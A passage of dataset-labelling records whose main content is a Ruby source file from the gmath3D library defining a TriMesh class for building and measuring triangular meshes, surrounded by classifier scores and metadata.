"input_tokens": 12840, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:35:11.138620+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "fe48dc53-72b7-49bb-a46a-68cb03bbc2bf", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "bcc2340d48e0066bed8fbb64714041f93f2f612ea005a73cae58f36fa7c863c4", "source_metadata": {"uuid": "fe48dc53-72b7-49bb-a46a-68cb03bbc2bf", "repo_name": "DieynabouD/CSE3901-Project", "relative_path": "Calculator_gui.rb", "category": "TOOL", "algo_rel_score": 0.8163056969642639, "quality_score": 4.85444974899292, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 32, "repo_created_at": "2024-08-27T19:36:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "f209a6b16aae6a580388f4474a9e762fd756982f", "size_bytes": 17672, "file_timestamp": 1726667931, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2692a2e1c4034124492787e761c8aa22e40eab5e"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 32, "repo_created_at": "2024-08-27T19:36:52.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "f209a6b16aae6a580388f4474a9e762fd756982f", "size_bytes": 17672, "file_timestamp": 1726667931, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "2692a2e1c4034124492787e761c8aa22e40eab5e", "url": "https://github.com/DieynabouD/CSE3901-Project/blob/2692a2e1c4034124492787e761c8aa22e40eab5e/Calculator_gui.rb"}, "gpt4o_tokens": 4141, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.403794806195305, "noise_severity": 0.11007334209447611, "missing_content_severity": 0.23968852987596984, "factual_density": 3.044593133050897, "pretraining_utility": 0.47581852758250504, "math_density": 2.5507778717862246, "code_density": 3.7188582073940624, "reasoning_density": 0.923428665302083, "education_level": 1.8633195655481007, "creative_writing_quality": -0.41780603405285943}, "score_applicability": {"education_level": 0.9984925126010225, "creative_writing_quality": 0.0011770368124766014}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/toshi0328/gmath3D/blob/a90fc3bfbc447af0585632e8d6a68aeae6f5bcc4/lib/tri_mesh.rb", "id": "ruby-0-62cb5eb9956d3c88ddb77db4a8d7e3d1", "text": "require 'gmath3D'\n\nmodule GMath3D\n #\n # TriMesh represents an structured trianglular mesh.\n #\n class TriMesh < Geom\n attr_reader :vertices\n attr_reader :tri_indices\n\n include BoxAvailable\n\n # [Input]\n # vertices is Array of Vector3.\n # tri_indices is Array of triangle whick is consist of 3 vertices index.\n # [Output]\n # return new instance of TriMesh.\n def initialize(vertices, tri_indices)\n # check arg\n Util3D.check_arg_type(Array, vertices)\n Util3D.check_arg_type(Array, tri_indices)\n vertices.each do |item|\n Util3D.check_arg_type(Vector3, item)\n end\n tri_indices.each do |tri_index|\n Util3D.check_arg_type(Array, tri_index)\n tri_index.each do |item|\n Util3D.check_arg_type(Integer, item)\n end\n end\n super()\n @vertices = vertices\n @tri_indices = tri_indices\n end\n\n def initialize_copy( original_obj )\n @vertices = Array.new(original_obj.vertices.size)\n for i in 0..@vertices.size-1\n @vertices[i] = original_obj.vertices[i].dup\n end\n @tri_indices = Array.new(original_obj.tri_indices.size)\n for i in 0..@tri_indices.size-1\n @tri_indices[i] = original_obj.tri_indices[i].dup\n end\n end\n\n # [Input]\n # _box_ is a Box object.\n # [Output]\n # return new instance of TriMesh.\n def self.from_box(box)\n Util3D.check_arg_type(Box, box)\n width, height, depth = box.length()\n vertices = Array.new(8)\n vertices[0] = box.min_point\n vertices[1] = box.min_point + Vector3.new(width, 0, 0)\n vertices[2] = box.min_point + Vector3.new(width, 0, depth)\n vertices[3] = box.min_point + Vector3.new(0 , 0, depth)\n vertices[4] = box.min_point + Vector3.new(0 , height, 0)\n vertices[5] = box.min_point + Vector3.new(width, height, 0)\n vertices[6] = box.min_point + Vector3.new(width, height, depth)\n vertices[7] = box.min_point + Vector3.new(0 , height, depth)\n\n tri_indices =[\n [0, 1, 2],\n [0, 2, 3],\n [1, 5, 6],\n [1, 6, 2],\n [5, 4, 7],\n [5, 7, 6],\n [4, 0, 3],\n [4, 3, 7],\n [2, 6, 7],\n [2, 7, 3],\n [0, 4, 5],\n [0, 5, 1]]\n return TriMesh.new( vertices, tri_indices )\n end\n\n # [Input]\n # _rect_ is a Rectangle object.\n # [Output]\n # return new instance of TriMesh.\n def self.from_rectangle(rect)\n Util3D.check_arg_type(Rectangle, rect)\n return TriMesh.new(rect.vertices, [[0,1,3], [1,2,3]])\n end\n\n # [Input]\n # _tris_ is Array of Triangle object.\n # [Output]\n # return new instance of TriMesh\n def self.from_triangles(tris)\n Util3D.check_arg_type(Array, tris)\n tris.each do | item |\n Util3D.check_arg_type(Triangle, item)\n end\n\n tri_idx = 0\n vert_tris_map = Hash.new(nil)\n tris.each_with_index do | triangle, tri_idx |\n triangle.vertices.each do | vertex |\n vert_tris_map[vertex] = Array.new() if( !vert_tris_map.key?(vertex) )\n vert_tris_map[vertex] = vert_tris_map[vertex].push(tri_idx)\n end\n end\n\n tri_indices = Array.new( tris.size )\n vertices = vert_tris_map.keys\n\n vert_idx = 0\n vert_tris_map.each do | vertex, tri_index_ary |\n tri_index_ary.each do | tri_index |\n tri_indices[tri_index] = Array.new() if( !tri_indices[tri_index] )\n tri_indices[tri_index].push(vert_idx)\n end\n vert_idx += 1\n end\n\n # modify noamal direction\n tri_idx = 0\n tri_indices.each do | tri_index_ary |\n if ( tri_index_ary.size > 2 )\n tmp_tri = Triangle.new(vertices[tri_index_ary[0]], vertices[tri_index_ary[1]], vertices[tri_index_ary[2]])\n if( tmp_tri.normal.dot(tris[tri_idx].normal) < 0 )\n tri_index_ary.reverse!\n end\n end\n tri_idx += 1\n end\n\n return TriMesh.new( vertices, tri_indices )\n end\n\n # [Input]\n # _polyline_ is Poyline object that should be convex.\n # [Output]\n # return new instance of TriMesh\n def self.from_convex_polyline(polyline)\n trimesh_vertices = Array.new(polyline.vertices.size + 1)\n trimesh_vertices[0] = polyline.center\n i = 1\n polyline.vertices.each do | poly_vert |\n trimesh_vertices[i] = poly_vert.clone\n i += 1\n end\n trimesh_tri_indices = Array.new(polyline.vertices.size)\n for i in 0..polyline.vertices.size-1\n trimesh_tri_indices[i] = [0,i+1,i+2]\n end\n trimesh_tri_indices[trimesh_tri_indices.size - 1] = [0,polyline.vertices.size,1]\n return TriMesh.new( trimesh_vertices, trimesh_tri_indices )\n end\n\n # [Input]\n # _polyline_ is Poyline object.\n # _extrude_direction_ is Vector3.\n # [Output]\n # return new instance of TriMesh that is extruded polyline\n def self.from_extrude_polyline(polyline, extrude_direction)\n trimesh_vertices = Array.new(polyline.vertices.size*2)\n poly_vert_cnt = polyline.vertices.size\n i = 0\n polyline.vertices.each do | poly_vert |\n trimesh_vertices[i] = poly_vert.clone\n trimesh_vertices[i + poly_vert_cnt] = poly_vert + extrude_direction\n i+=1\n end\n\n tri_indices_cnt = (poly_vert_cnt-1)*2\n trimesh_tri_indices = Array.new(tri_indices_cnt)\n\n for i in 0..poly_vert_cnt-2\n trimesh_tri_indices[2*i ] = [i, i + 1, i + poly_vert_cnt]\n trimesh_tri_indices[2*i + 1] = [i + 1, i + 1 + poly_vert_cnt, i + poly_vert_cnt]\n end\n if(!polyline.is_open)\n trimesh_tri_indices[2*(poly_vert_cnt - 1) ] = [poly_vert_cnt - 1, 0, 2*(poly_vert_cnt - 1) + 1]\n trimesh_tri_indices[2*(poly_vert_cnt - 1) + 1] = [0, poly_vert_cnt, 2*(poly_vert_cnt - 1) + 1]\n end\n return TriMesh.new(trimesh_vertices, trimesh_tri_indices)\n end\n\n # [Input]\n # _rhs_ is TriMesh.\n # [Output]\n # return true if rhs equals myself.\n def ==(rhs)\n return false if rhs == nil\n return false if( !rhs.kind_of?(TriMesh) )\n return false if(@vertices.size != rhs.vertices.size)\n return false if(@tri_indices.size != rhs.tri_indices.size)\n\n for i in 0..(@vertices.size-1)\n return false if( @vertices[i] != rhs.vertices[i])\n end\n\n for i in 0..(@tri_indices.size-1)\n return false if( @tri_indices[i] != rhs.tri_indices[i])\n end\n return true\n end\n\n def to_s\n \"TriMesh[triangle_count:#{tri_indices.size}, vertex_count:#{vertices.size}]\"\n end\n\n # [Input]\n # _index_ is index of triangle.\n # [Output]\n # return new instance of Triangle.\n def triangle(index)\n return nil if( index < 0 || @tri_indices.size <= index )\n tri_index = @tri_indices[index]\n return Triangle.new(vertices[tri_index[0]], vertices[tri_index[1]], vertices[tri_index[2]])\n end\n\n # [Output]\n # return Array of Triangle.\n def triangles\n tris = Array.new(tri_indices.size)\n i = 0\n tri_indices.each do |tri_index|\n tris[i] = self.triangle(i)\n i += 1\n end\n return tris\n end\n\n # [Output]\n # return surface area of TriMesh.\n def area\n area_sum = 0\n triangles.each do | tri |\n area_sum += tri.area\n end\n return area_sum\n end\n\n # [Output]\n # return normal vector for each vertex as Hash{ Vector3 vertex => Vector3 normal_vector}.\n def normals_for_each_vertices\n normals_map = Hash.new(nil)\n triangles.each_with_index do | tri, tri_idx |\n tri.vertices.each_with_index do | vertex, ver_idx |\n normals_map[vertex] = Vector3.new() if( !normals_map.key?(vertex) )\n normals_map[vertex] += tri.normal*tri.angle(ver_idx)\n end\n end\n normals_map.each do |vertex, normal|\n normals_map[vertex] = normal.normalize\n end\n return normals_map\n end\n\n end\nend\n\n", "text_preview": "require 'gmath3D' module GMath3D # # TriMesh represents an structured trianglular mesh. # class TriMesh < Geom attr_reader :vertices attr_reader :tri_indices include BoxAvailable # [Input] # vertices is Array of Vector3. # tri_indices is Ar", "input_sha256": "e87d38fa3c22d873b8b67ef4ebee8088de5644113d2c7d145c6e21f76c025329", "text_sha256": "62cb5eb9956d3c88ddb77db4a8d7e3d189559c9ed24ab870237165ba51dbcd6e", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16093, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Science, Mathematics & Engineering", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 4, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7465677985793995, "noise_severity": 0.016245039858067068, "missing_content_severity": 0.018719196395024885, "factual_density": 3.4410056102134834, "pretraining_utility": 0.515575898990029, "math_density": 3.0726627149682706, "code_density": 3.848540526063771, "reasoning_density": 0.7687037898644368, "education_level": 2.25369973734756, "creative_writing_quality": -0.4146427648168059}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Science, Mathematics & Engineering"}, "review_reasons": ["secondary_topic probability 0.4776 below 0.70", "secondary_topic vs NONE margin 0.0834 below 0.10"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.02160093403778418, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978174281246291, "secondary": 0.9618247895147036, "tertiary": 0.9843648945976089, "structured_records": 0.0591912883717836, "procedural_steps": 0.02090413549674374, "worked_solution": 0.014666658937491663, "contextual_dialogue": 7.856302464413052e-06, "content_quality": 0.5065571147498171, "noise_severity": 0.9864624667849441, "missing_content_severity": 0.9844006696708126, "factual_density": 0.5341713418445695, "pretraining_utility": 0.46374980586323966, "math_density": 0.22721892914022512, "code_density": 0.8737837717198094, "reasoning_density": 0.3594135084463027, "education_level": 0.6902406039925724, "creative_writing_quality": 0.9992581276104129, "primary_topic": 0.9435961592819863, "secondary_topic": 0.4567174196048277}, "probability_margin": {"primary": 0.9969603183141116, "secondary": 0.9440836431327195, "tertiary": 0.9790171123719587, "education_level": 0.5226264403372316, "creative_writing_quality": 0.9991309481681956, "primary_topic": 0.8967101863078033, "secondary_topic": 0.08344674855802187}, "raw_probabilities": {"primary": {"Academic Writing": 2.5773504017049402e-05, "Content Listing": 1.6604726647829858e-05, "Creative Writing": 1.0725986854862403e-05, "Customer Support Page": 8.115095233232991e-06, "Q&A Forum": 7.349883585633889e-06, "Discussion Thread": 5.1022657373058915e-06, "Comment Section": 1.4848659773205722e-05, "Missing Content": 1.5447497869324008e-05, "Knowledge Article": 7.345031416802857e-05, "Legal Notices": 2.3392657857232873e-05, "News Article": 2.8548562714716778e-06, "Organizational Announcement": 7.3798184227521e-06, "Nonfiction Writing": 7.523262628899e-06, "Organizational About Page": 8.33396762801627e-06, "Personal About Page": 7.872515441355064e-06, "Personal Blog": 5.365945324134865e-06, "Product Page": 6.664287878259906e-06, "Spam / Ads": 6.481648918455431e-06, "Structured Data": 0.0006451978819862865, "Technical Writing": 0.9979083686194362, "Transcript / Interview": 1.041580578508722e-05, "Tutorial / How-To Guide": 0.00023003439983221367, "User Reviews": 4.646093378639988e-06, "Other / Unknown": 0.000948050305324596}, "secondary": {"Academic Writing": 0.0002103233150760764, "Content Listing": 0.00012380847991194196, "Creative Writing": 0.00014637453421886796, "Customer Support Page": 0.00011470254939139327, "Q&A Forum": 6.587551385086557e-05, "Discussion Thread": 5.387304274331076e-05, "Comment Section": 0.00015132082963197142, "Missing Content": 0.00025011765487848375, "Knowledge Article": 0.001081159199551498, "Legal Notices": 0.00017444249101820303, "News Article": 7.878651970603678e-05, "Organizational Announcement": 7.815155747212124e-05, "Nonfiction Writing": 7.837031381693756e-05, "Organizational About Page": 0.00010098686810516188, "Personal About Page": 7.695104708953114e-05, "Personal Blog": 7.259711910038922e-05, "Product Page": 5.770728722880694e-05, "Spam / Ads": 8.587739951575497e-05, "Structured Data": 0.012910500468646086, "Technical Writing": 0.01933178015220486, "Transcript / Interview": 0.00010856728062311298, "Tutorial / How-To Guide": 0.0011959491890027624, "User Reviews": 3.63539022913233e-05, "NONE": 0.9634154232849244}, "tertiary": {"Academic Writing": 9.593588366526882e-05, "Content Listing": 6.344186602535676e-05, "Creative Writing": 6.291148861439034e-05, "Customer Support Page": 4.828007001487685e-05, "Q&A Forum": 2.3122388507887672e-05, "Discussion Thread": 2.100783717350877e-05, "Comment Section": 9.241236321248748e-05, "Missing Content": 0.00021741359845217777, "Knowledge Article": 0.0007225044184271704, "Legal Notices": 0.0001532221577492694, "News Article": 3.9138795043896464e-05, "Organizational Announcement": 3.394014446790138e-05, "Nonfiction Writing": 4.1371580305454596e-05, "Organizational About Page": 5.74074812971095e-05, "Personal About Page": 3.691271931308225e-05, "Personal Blog": 3.3059944206961996e-05, "Product Page": 2.7630508155854944e-05, "Spam / Ads": 4.432659725758856e-05, "Structured Data": 0.005889215525583495, "Technical Writing": 0.005999244950749839, "Transcript / Interview": 4.635788363954636e-05, "Tutorial / How-To Guide": 0.001214629325237921, "User Reviews": 2.0155150190280564e-05, "NONE": 0.9850163573227085}, "structured_records": {"false": 0.9408087116282164, "true": 0.0591912883717836}, "procedural_steps": {"false": 0.9790958645032563, "true": 0.02090413549674374}, "worked_solution": {"false": 0.9853333410625084, "true": 0.014666658937491663}, "contextual_dialogue": {"false": 0.9999921436975356, "true": 7.856302464413052e-06}, "content_quality": {"-2": 0.009267521784025646, "-1": 0.05202055532799269, "0": 0.2909381558523477, "1": 0.4784241365958244, "2": 0.16934963043980947}, "noise_severity": {"0": 0.9856711339559711, "1": 0.01300191525539666, "2": 0.0009099190555023795, "3": 0.00024484044085385903, "4": 0.0001721912922760184}, "missing_content_severity": {"0": 0.989572485575565, "1": 0.003994582815775278, "2": 0.004818230392904872, "3": 0.0013706520695805178, "4": 0.00024404914617457812}, "factual_density": {"0": 0.0031089755908072954, "1": 0.008135357943818578, "2": 0.08641382320730927, "3": 0.34932476717721317, "4": 0.5530170760808517}, "pretraining_utility": {"-2": 0.007726927855912577, "-1": 0.07087308364506681, "0": 0.39903521612917037, "1": 0.4428267063927795, "2": 0.07953806597707073}, "math_density": {"0": 0.017209645915247106, "1": 0.04062102158602266, "2": 0.1891115988466419, "3": 0.3584124389193897, "4": 0.39464529473269877}, "code_density": {"0": 0.00028657926110147716, "1": 0.0005627583716685432, "2": 0.01443556417581999, "3": 0.1197537534251772, "4": 0.8649613447662328}, "reasoning_density": {"0": 0.6683124146756678, "1": 0.08154463022288035, "2": 0.11559616418022814, "3": 0.08222033240379452, "4": 0.05232645851742914}, "education_level": {"none": 0.0008887572725262628, "0": 0.0011878411636569463, "1": 0.012340597098388622, "2": 0.7418671699938103, "3": 0.21924072965657865, "4": 0.024474904815039097}, "creative_writing_quality": {"not_applicable": 0.9993817730086774, "-2": 9.207600035454355e-05, "-1": 0.00018681121699300966, "0": 0.0002508248404817666, "1": 6.240999825134345e-05, "2": 2.6104935242144433e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.249592479221816e-05, "Art & Design": 0.0005797788059655613, "Law & Crime": 8.621325256187445e-05, "Education & Careers": 7.85940909883049e-05, "Entertainment & Media": 7.787010070061401e-05, "Fashion & Beauty": 6.623337286846927e-05, "Business, Economics & Finance": 0.00013607402374970384, "Food & Dining": 6.059167636014703e-05, "Games & Gaming": 0.0017192725916861647, "Electronics & Hardware": 0.00012149544494878413, "Health, Healthcare & Wellness": 8.991503866164152e-05, "History & Geography": 0.00011416570587557151, "Home, Pets & Hobbies": 6.521267628300937e-05, "Industry & Production": 8.833154602268802e-05, "Language, Literature & Philosophy": 7.81069497871405e-05, "Politics & Government": 3.645177896918693e-05, "Religion & Spirituality": 6.697280606353938e-05, "Science, Mathematics & Engineering": 0.04905535146333729, "Relationships & Community": 3.36048197078611e-05, "Software Usage & Applications": 0.00035324801980302745, "Programming & Software Engineering": 0.9457655377711406, "Sports & Fitness": 0.0001043986067018823, "Vehicles & Transportation": 5.474328071471451e-05, "Travel & Tourism": 9.362662787696884e-05, "Other / Uncovered Subject": 0.0008753071371529982, "Unknown / Insufficient Content": 0.00011640648727997533}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007711302673720851, "Art & Design": 0.002429324037262623, "Law & Crime": 0.0005261009135531248, "Education & Careers": 0.00038726859465614146, "Entertainment & Media": 0.0005069924965449059, "Fashion & Beauty": 0.00035046761918389185, "Business, Economics & Finance": 0.0005325895742675645, "Food & Dining": 0.00027905098732195285, "Games & Gaming": 0.002286432486712273, "Electronics & Hardware": 0.000589869625197676, "Health, Healthcare & Wellness": 0.00043655392641173634, "History & Geography": 0.00048379222920243376, "Home, Pets & Hobbies": 0.0003241869073992778, "Industry & Production": 0.000404660928439463, "Language, Literature & Philosophy": 0.00025277323102298435, "Politics & Government": 0.00023594491822528831, "Religion & Spirituality": 0.00045795071335127133, "Science, Mathematics & Engineering": 0.4776129034661805, "Relationships & Community": 0.00018662087214961397, "Software Usage & Applications": 0.0006386413860395895, "Programming & Software Engineering": 0.1135147591569975, "Sports & Fitness": 0.0004348660642179678, "Vehicles & Transportation": 0.0002585844061680534, "Travel & Tourism": 0.0005266950449678423, "Other / Uncovered Subject": 0.0014056852389955521, "NONE": 0.39416615490815865}}, "probabilities": {"primary": {"Academic Writing": 2.5773504017049402e-05, "Content Listing": 1.6604726647829858e-05, "Creative Writing": 1.0725986854862403e-05, "Customer Support Page": 8.115095233232991e-06, "Q&A Forum": 7.349883585633889e-06, "Discussion Thread": 5.1022657373058915e-06, "Comment Section": 1.4848659773205722e-05, "Missing Content": 1.5447497869324008e-05, "Knowledge Article": 7.345031416802857e-05, "Legal Notices": 2.3392657857232873e-05, "News Article": 2.8548562714716778e-06, "Organizational Announcement": 7.3798184227521e-06, "Nonfiction Writing": 7.523262628899e-06, "Organizational About Page": 8.33396762801627e-06, "Personal About Page": 7.872515441355064e-06, "Personal Blog": 5.365945324134865e-06, "Product Page": 6.664287878259906e-06, "Spam / Ads": 6.481648918455431e-06, "Structured Data": 0.0006451978819862865, "Technical Writing": 0.9979083686194362, "Transcript / Interview": 1.041580578508722e-05, "Tutorial / How-To Guide": 0.00023003439983221367, "User Reviews": 4.646093378639988e-06, "Other / Unknown": 0.000948050305324596}, "secondary": {"Academic Writing": 0.00021032331507607642, "Content Listing": 0.000123808479911942, "Creative Writing": 0.00014637453421886799, "Customer Support Page": 0.00011470254939139329, "Q&A Forum": 6.587551385086559e-05, "Discussion Thread": 5.387304274331077e-05, "Comment Section": 0.00015132082963197145, "Missing Content": 0.0002501176548784838, "Knowledge Article": 0.0010811591995514983, "Legal Notices": 0.00017444249101820306, "News Article": 7.878651970603679e-05, "Organizational Announcement": 7.815155747212126e-05, "Nonfiction Writing": 7.837031381693757e-05, "Organizational About Page": 0.00010098686810516189, "Personal About Page": 7.695104708953116e-05, "Personal Blog": 7.259711910038923e-05, "Product Page": 5.770728722880695e-05, "Spam / Ads": 8.587739951575498e-05, "Structured Data": 0.012910500468646087, "Technical Writing": 0.019331780152204863, "Transcript / Interview": 0.000108567280623113, "Tutorial / How-To Guide": 0.0011959491890027626, "User Reviews": 3.6353902291323304e-05, "NONE": 0.9634154232849245}, "tertiary": {"Academic Writing": 9.593588366526883e-05, "Content Listing": 6.344186602535678e-05, "Creative Writing": 6.291148861439036e-05, "Customer Support Page": 4.8280070014876856e-05, "Q&A Forum": 2.3122388507887675e-05, "Discussion Thread": 2.1007837173508774e-05, "Comment Section": 9.24123632124875e-05, "Missing Content": 0.0002174135984521778, "Knowledge Article": 0.0007225044184271705, "Legal Notices": 0.00015322215774926944, "News Article": 3.913879504389647e-05, "Organizational Announcement": 3.3940144467901384e-05, "Nonfiction Writing": 4.13715803054546e-05, "Organizational About Page": 5.740748129710951e-05, "Personal About Page": 3.691271931308226e-05, "Personal Blog": 3.3059944206962e-05, "Product Page": 2.7630508155854948e-05, "Spam / Ads": 4.432659725758857e-05, "Structured Data": 0.005889215525583496, "Technical Writing": 0.00599924495074984, "Transcript / Interview": 4.6357883639546364e-05, "Tutorial / How-To Guide": 0.0012146293252379213, "User Reviews": 2.0155150190280567e-05, "NONE": 0.9850163573227086}, "structured_records": {"false": 0.9408087116282164, "true": 0.0591912883717836}, "procedural_steps": {"false": 0.9790958645032563, "true": 0.02090413549674374}, "worked_solution": {"false": 0.9853333410625084, "true": 0.014666658937491663}, "contextual_dialogue": {"false": 0.9999921436975356, "true": 7.856302464413052e-06}, "content_quality": {"-2": 0.009267521784025647, "-1": 0.0520205553279927, "0": 0.2909381558523478, "1": 0.47842413659582445, "2": 0.1693496304398095}, "noise_severity": {"0": 0.9856711339559711, "1": 0.01300191525539666, "2": 0.0009099190555023795, "3": 0.00024484044085385903, "4": 0.0001721912922760184}, "missing_content_severity": {"0": 0.9895724855755648, "1": 0.003994582815775277, "2": 0.004818230392904871, "3": 0.0013706520695805175, "4": 0.00024404914617457806}, "factual_density": {"0": 0.0031089755908072954, "1": 0.008135357943818578, "2": 0.08641382320730927, "3": 0.34932476717721317, "4": 0.5530170760808517}, "pretraining_utility": {"-2": 0.007726927855912577, "-1": 0.07087308364506681, "0": 0.39903521612917037, "1": 0.4428267063927795, "2": 0.07953806597707073}, "math_density": {"0": 0.017209645915247106, "1": 0.04062102158602266, "2": 0.1891115988466419, "3": 0.3584124389193897, "4": 0.39464529473269877}, "code_density": {"0": 0.00028657926110147716, "1": 0.0005627583716685432, "2": 0.01443556417581999, "3": 0.1197537534251772, "4": 0.8649613447662328}, "reasoning_density": {"0": 0.6683124146756678, "1": 0.08154463022288035, "2": 0.11559616418022814, "3": 0.08222033240379452, "4": 0.05232645851742914}, "education_level": {"none": 0.000888757272526263, "0": 0.0011878411636569465, "1": 0.012340597098388624, "2": 0.7418671699938104, "3": 0.21924072965657868, "4": 0.0244749048150391}, "creative_writing_quality": {"not_applicable": 0.9993817730086771, "-2": 9.207600035454352e-05, "-1": 0.0001868112169930096, "0": 0.00025082484048176656, "1": 6.240999825134344e-05, "2": 2.6104935242144426e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.249592479221818e-05, "Art & Design": 0.0005797788059655614, "Law & Crime": 8.621325256187446e-05, "Education & Careers": 7.859409098830492e-05, "Entertainment & Media": 7.787010070061402e-05, "Fashion & Beauty": 6.623337286846928e-05, "Business, Economics & Finance": 0.00013607402374970386, "Food & Dining": 6.059167636014704e-05, "Games & Gaming": 0.001719272591686165, "Electronics & Hardware": 0.00012149544494878414, "Health, Healthcare & Wellness": 8.991503866164154e-05, "History & Geography": 0.00011416570587557152, "Home, Pets & Hobbies": 6.521267628300938e-05, "Industry & Production": 8.833154602268803e-05, "Language, Literature & Philosophy": 7.810694978714051e-05, "Politics & Government": 3.645177896918694e-05, "Religion & Spirituality": 6.69728060635394e-05, "Science, Mathematics & Engineering": 0.049055351463337296, "Relationships & Community": 3.360481970786111e-05, "Software Usage & Applications": 0.0003532480198030275, "Programming & Software Engineering": 0.9457655377711407, "Sports & Fitness": 0.00010439860670188231, "Vehicles & Transportation": 5.4743280714714515e-05, "Travel & Tourism": 9.362662787696886e-05, "Other / Uncovered Subject": 0.0008753071371529983, "Unknown / Insufficient Content": 0.00011640648727997535}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007711302673720851, "Art & Design": 0.002429324037262623, "Law & Crime": 0.0005261009135531248, "Education & Careers": 0.00038726859465614146, "Entertainment & Media": 0.0005069924965449059, "Fashion & Beauty": 0.00035046761918389185, "Business, Economics & Finance": 0.0005325895742675645, "Food & Dining": 0.00027905098732195285, "Games & Gaming": 0.002286432486712273, "Electronics & Hardware": 0.000589869625197676, "Health, Healthcare & Wellness": 0.00043655392641173634, "History & Geography": 0.00048379222920243376, "Home, Pets & Hobbies": 0.0003241869073992778, "Industry & Production": 0.000404660928439463, "Language, Literature & Philosophy": 0.00025277323102298435, "Politics & Government": 0.00023594491822528831, "Religion & Spirituality": 0.00045795071335127133, "Science, Mathematics & Engineering": 0.4776129034661805, "Relationships & Community": 0.00018662087214961397, "Software Usage & Applications": 0.0006386413860395895, "Programming & Software Engineering": 0.1135147591569975, "Sports & Fitness": 0.0004348660642179678, "Vehicles & Transportation": 0.0002585844061680534, "Travel & Tourism": 0.0005266950449678423, "Other / Uncovered Subject": 0.0014056852389955521, "NONE": 0.39416615490815865}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, 